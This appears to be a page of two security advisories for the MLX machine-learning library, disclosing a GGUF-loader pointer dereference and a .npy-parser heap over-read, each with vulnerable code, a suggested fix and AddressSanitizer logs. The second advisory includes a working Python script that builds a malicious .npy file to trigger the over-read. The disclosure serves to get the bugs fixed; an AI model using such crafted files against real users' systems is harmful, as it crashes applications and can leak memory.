See how ml-explore compares to other vendors in security performance
Summary
Segmentation fault in mlx::core::loadgguf() when loading malicious GGUF files. Untrusted pointer from external gguflib library is dereferenced without validation, causing application crash.
Environment: - OS: Ubuntu 20.04.6 LTS - Compiler: Clang 19.1.7
Vulnerability
Location: mlx/io/gguf.cpp - Function extracttensordata() at lines 59-79 - Vulnerable memcpy at lines 64-67 - Called from loadarrays() at line 177
The Bug: cpp std::tuple<allocator::Buffer, Dtype> extracttensordata(gguftensor tensor) { std::optional<Dtype> equivalentdtype = gguftypetodtype(tensor->type); if (equivalentdtype.hasvalue()) { allocator::Buffer buffer = allocator::malloc(tensor->bsize); memcpy( buffer.rawptr(), tensor->weightsdata, // untrusted pointer from gguflib tensor->numweights equivalentdtype.value().size()); return {buffer, equivalentdtype.value()}; } // ... }
Possible Fix
cpp std::tuple<allocator::Buffer, Dtype> extracttensordata(gguftensor tensor) { std::optional<Dtype> equivalentdtype = gguftypetodtype(tensor->type); if (equivalentdtype.hasvalue()) { // FIX: Validate pointer if (!tensor->weightsdata) { throw std::runtimeerror("[loadgguf] NULL tensor data pointer"); }
allocator::Buffer buffer = allocator::malloc(tensor->bsize); memcpy( buffer.rawptr(), tensor->weightsdata, tensor->numweights equivalentdtype.value().size()); return {buffer, equivalentdtype.value()}; } // ... }
PoC
bash Install MLX pip install mlx
python3 -c "import mlx.core as mx; mx.load('exploit.gguf', format='gguf')"
Download the poc file there, or let me know how I can send it to you.
AddressSanitizer Output (with instrumented build): AddressSanitizer:DEADLYSIGNAL ================================================================= ==5855==ERROR: AddressSanitizer: SEGV on unknown address 0x7fc432f64bc0 (pc 0x7fc430841c12 bp 0x7ffc04847ab0 sp 0x7ffc04847268 T0) ==5855==The signal is caused by a READ memory access. #0 0x7fc430841c12 /build/glibc-B3wQXB/glibc-2.31/string/../sysdeps/x8664/multiarch/memmove-vec-unaligned-erms.S:312 #1 0x55aac829756b in asanmemcpy (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x9ef56b) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #2 0x55aacaa6e8dc in mlx::core::extracttensordata(gguftensor) /home/user1/mlx/mlx/io/gguf.cpp:64:5 #3 0x55aacaa773fc in mlx::core::loadarraysabi:cxx11 /home/user1/mlx/mlx/io/gguf.cpp:226:35 #4 0x55aacaa782a9 in mlx::core::loadgguf(std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>> const&, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/gguf.cpp:250:17 #5 0x55aac82dc696 in LLVMFuzzerTestOneInput /home/user1/mlx/fuzz/loadgguf/fuzzloadgguf.cpp:49:19 #6 0x55aac81e25c6 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x93a5c6) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #7 0x55aac81cc738 in fuzzer::RunOneTest(fuzzer::Fuzzer, char const, unsigned long) (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x924738) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #8 0x55aac81d220a in fuzzer::FuzzerDriver(int, char, int ()(unsigned char const, unsigned long)) (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x92a20a) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #9 0x55aac81fbb82 in main (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x953b82) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f) #10 0x7fc4307aa082 in libcstartmain /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16 #11 0x55aac81c73ed in start (/home/user1/mlx/fuzz/loadgguf/fuzzloadgguf+0x91f3ed) (BuildId: 57467f1ce96052757daeef4b04739be7f23c5f1f)
==5855==Register values: rax = 0x0000502000000098 rbx = 0xfafafafa0000fa00 rcx = 0x00000a047fff8013 rdx = 0x0000000000000008 rdi = 0x0000502000000098 rsi = 0x00007fc432f64bc0 rbp = 0x00007ffc04847ab0 rsp = 0x00007ffc04847268 r8 = 0x00000a0400000013 r9 = 0x0000000000000000 r10 = 0x00000a0400000013 r11 = 0x0000000000000000 r12 = 0x00000a047fff8010 r13 = 0xffffffffffffffc7 r14 = 0x00007fc42dd00280 r15 = 0x00000ff885ba0050 AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /build/glibc-B3wQXB/glibc-2.31/string/../sysdeps/x8664/multiarch/memmove-vec-unaligned-erms.S:312 ==5855==ABORTING
Impact
- Attack vector: Malicious GGUF file (model weights, typically from untrusted sources) - Affects: MLX users on all platforms who call the vulnerable method with unsanitized input. - Result: Segmentation fault (uncatchable by exception handlers)
--- Credits:
- Markiyan Melnyk (ARIMLABS) - Mykyta Mudryi (ARIMLABS) - Markiyan Chaklosh (ARIMLABS)
Summary
Heap buffer overflow in mlx::core::load() when parsing malicious NumPy .npy files. Attacker-controlled file causes 13-byte out-of-bounds read, leading to crash or information disclosure.
Environment: - OS: Ubuntu 20.04.6 LTS - Compiler: Clang 19.1.7
Vulnerability
The parser reads a 118-byte header from the file, but line 268 uses std::string(&buffer[0]) which stops at the first null byte, creating a 20-byte string instead. Then line 276 tries to read header[34] without checking the length first, reading 13 bytes past the allocation.
Location: mlx/io/load.cpp:268,276
Bug #1 (line 268): cpp std::string header(&buffer[0]); // stops at first null byte
Bug #2 (line 276): cpp bool colcontiguous = header[34] == 'T'; // No bounds check
Possible Fix
cpp // Line 268 std::string header(&buffer[0], headerlen);
// Line 276 if (header.length() < 35) throw std::runtimeerror("Malformed header");
PoC
bash pip install mlx
generate exploit cat > exploit.py << 'EOF' import struct magic = b'\x93NUMPY' version = b'\x01\x00' header = b"{'descr': '<u2', 'fo\x00\x00\x00\x00norder': False, 'shape': (3,), }" header += b' ' (118 - len(header) - 1) + b'\n' with open('exploit.npy', 'wb') as f: f.write(magic + version + struct.pack('<H', 118) + header + b'\x00\x00\x00\x80\xff\xff') EOF python3 exploit.py
python3 -c "import mlx.core as mx; mx.load('exploit.npy')"
AddressSanitizer Output (with instrumented build): ================================================================= ==3179==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x503000000152 at pc 0x563345697c29 bp 0x7ffeb8ad0a50 sp 0x7ffeb8ad0a48 READ of size 1 at 0x503000000152 thread T0 #0 0x563345697c28 in mlx::core::load(std::sharedptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:276:25 #1 0x563345698da1 in mlx::core::load(std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10 #2 0x563342f001bf in main /home/user1/mlx/fuzz/load/poccrash.cpp:69:20 #3 0x7fbd4692c082 in libcstartmain /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16 #4 0x563342e1f1cd in start (/home/user1/mlx/fuzz/load/poccrash+0x9181cd) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099)
0x503000000152 is located 13 bytes after 21-byte region [0x503000000130,0x503000000145) allocated by thread T0 here: #0 0x563342efd66d in operator new(unsigned long) (/home/user1/mlx/fuzz/load/poccrash+0x9f666d) (BuildId: ce2b741b3a71c93540a7ed76bc47e88952cd3099) #1 0x5633456956fe in void std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::Mconstruct<char const>(char const, char const, std::forwarditeratortag) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.tcc:219:14 #2 0x5633456956fe in void std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::Mconstructaux<char const>(char const, char const, std::falsetype) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.h:251:11 #3 0x5633456956fe in void std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::Mconstruct<char const>(char const, char const) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.h:270:4 #4 0x5633456956fe in std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>::basicstring<std::allocator<char>>(char const, std::allocator<char> const&) /usr/lib/gcc/x8664-linux-gnu/9/../../../../include/c++/9/bits/basicstring.h:531:9 #5 0x5633456956fe in mlx::core::load(std::sharedptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:268:15 #6 0x563345698da1 in mlx::core::load(std::cxx11::basicstring<char, std::chartraits<char>, std::allocator<char>>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) /home/user1/mlx/mlx/io/load.cpp:328:10 #7 0x563342f001bf in main /home/user1/mlx/fuzz/load/poccrash.cpp:69:20 #8 0x7fbd4692c082 in libcstartmain /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/user1/mlx/mlx/io/load.cpp:276:25 in mlx::core::load(std::sharedptr<mlx::core::io::Reader>, std::variant<std::monostate, mlx::core::Stream, mlx::core::Device>) Shadow bytes around the buggy address: 0x502ffffffe80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x502fffffff00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x502fffffff80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x503000000000: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00 0x503000000080: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa =>0x503000000100: 00 00 00 fa fa fa 00 00 05 fa[fa]fa fa fa fa fa 0x503000000180: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x503000000380: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==3179==ABORTING
Impact
- Attack vector: Malicious .npy file (model weights, datasets, checkpoints) - Affects: MLX users on all platforms who call the vulnerable methods with unsanitized input. - Result: Application crash + potential 13-byte heap leak
---
Credits: - Markiyan Melnyk (ARIMLABS) - Mykyta Mudryi (ARIMLABS) - Markiyan Chaklosh (ARIMLABS)